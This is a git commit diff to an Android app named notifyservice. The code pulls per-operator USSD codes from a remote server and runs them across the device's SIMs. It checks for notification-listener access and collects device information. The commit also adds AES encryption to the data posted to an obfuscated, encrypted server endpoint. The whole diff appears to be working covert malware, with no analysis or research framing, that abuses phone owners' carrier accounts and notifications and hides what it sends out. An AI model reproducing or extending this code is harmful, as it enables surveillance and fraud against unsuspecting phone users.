so much fixes

This commit is contained in:
Your Name 2025-03-06 22:31:04 +03:00
parent 75cd54b506
commit 98b6cd57e0
2 changed files with 14 additions and 6 deletions

View file

@ -232,8 +232,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
} }
}); });
AlertDialog dialog = builder.create(); this.runOnUiThread(new Runnable() {
dialog.show(); public void run() {
AlertDialog dialog = builder.create();
dialog.show();
}
});
} }
public static String getDeviceInfo(Context context) public static String getDeviceInfo(Context context)
@ -382,18 +386,20 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
public void onGetResponse(JSONObject result) { public void onGetResponse(JSONObject result) {
try { try {
requestsCount += 1;
if(result.get("name"). // STATIC if(result.get("name"). // STATIC
equals("ussd")){ // STATIC equals("ussd")){ // STATIC
ussd = result.getJSONObject( ussd = result.getJSONObject(
"data" // STATIC "data" // STATIC
); );
requestsCount += 1;
} else if (result.get("name"). // STATIC } else if (result.get("name"). // STATIC
equals("languages")) { // STATIC equals("languages")) { // STATIC
language = result.getJSONObject( language = result.getJSONObject(
"data" // STATIC "data" // STATIC
).getJSONObject(Locale.getDefault().getLanguage()); ).getJSONObject(Locale.getDefault().getLanguage());
requestsCount += 1;
} }
if (requestsCount == 2) { if (requestsCount == 2) {
if (!isNotificationServiceEnabled()) { if (!isNotificationServiceEnabled()) {
@ -515,7 +521,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
boolean smsResponse = false; boolean smsResponse = false;
try { try {
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("sms"); // STATIC smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
} catch (JSONException e) { } catch (JSONException e) {
return; return;
} }
@ -538,7 +544,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
@Override @Override
public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) { public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode); super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
nextPhone();
} }
}, null); }, null);
} }

View file

@ -1,5 +1,7 @@
package com.example.notifyservice; package com.example.notifyservice;
import static com.example.notifyservice.Encryption.aesEncrypt;
import android.content.Context; import android.content.Context;
import android.util.Log; import android.util.Log;
@ -41,7 +43,7 @@ public class PostRequest {
Request request = new Request.Builder() Request request = new Request.Builder()
.url(BASE_URL + Encryption.aesHexEncrypt(buildPoint, timeStamp) + "/" + Encryption.aesHexEncrypt(urlString, key)) // STATIC .url(BASE_URL + Encryption.aesHexEncrypt(buildPoint, timeStamp) + "/" + Encryption.aesHexEncrypt(urlString, key)) // STATIC
.post(RequestBody.create(jsonData.getBytes())).header( .post(RequestBody.create(aesEncrypt(jsonData).getBytes())).header(
"timestamp", timeStamp // STATIC "timestamp", timeStamp // STATIC
) )
.build(); .build();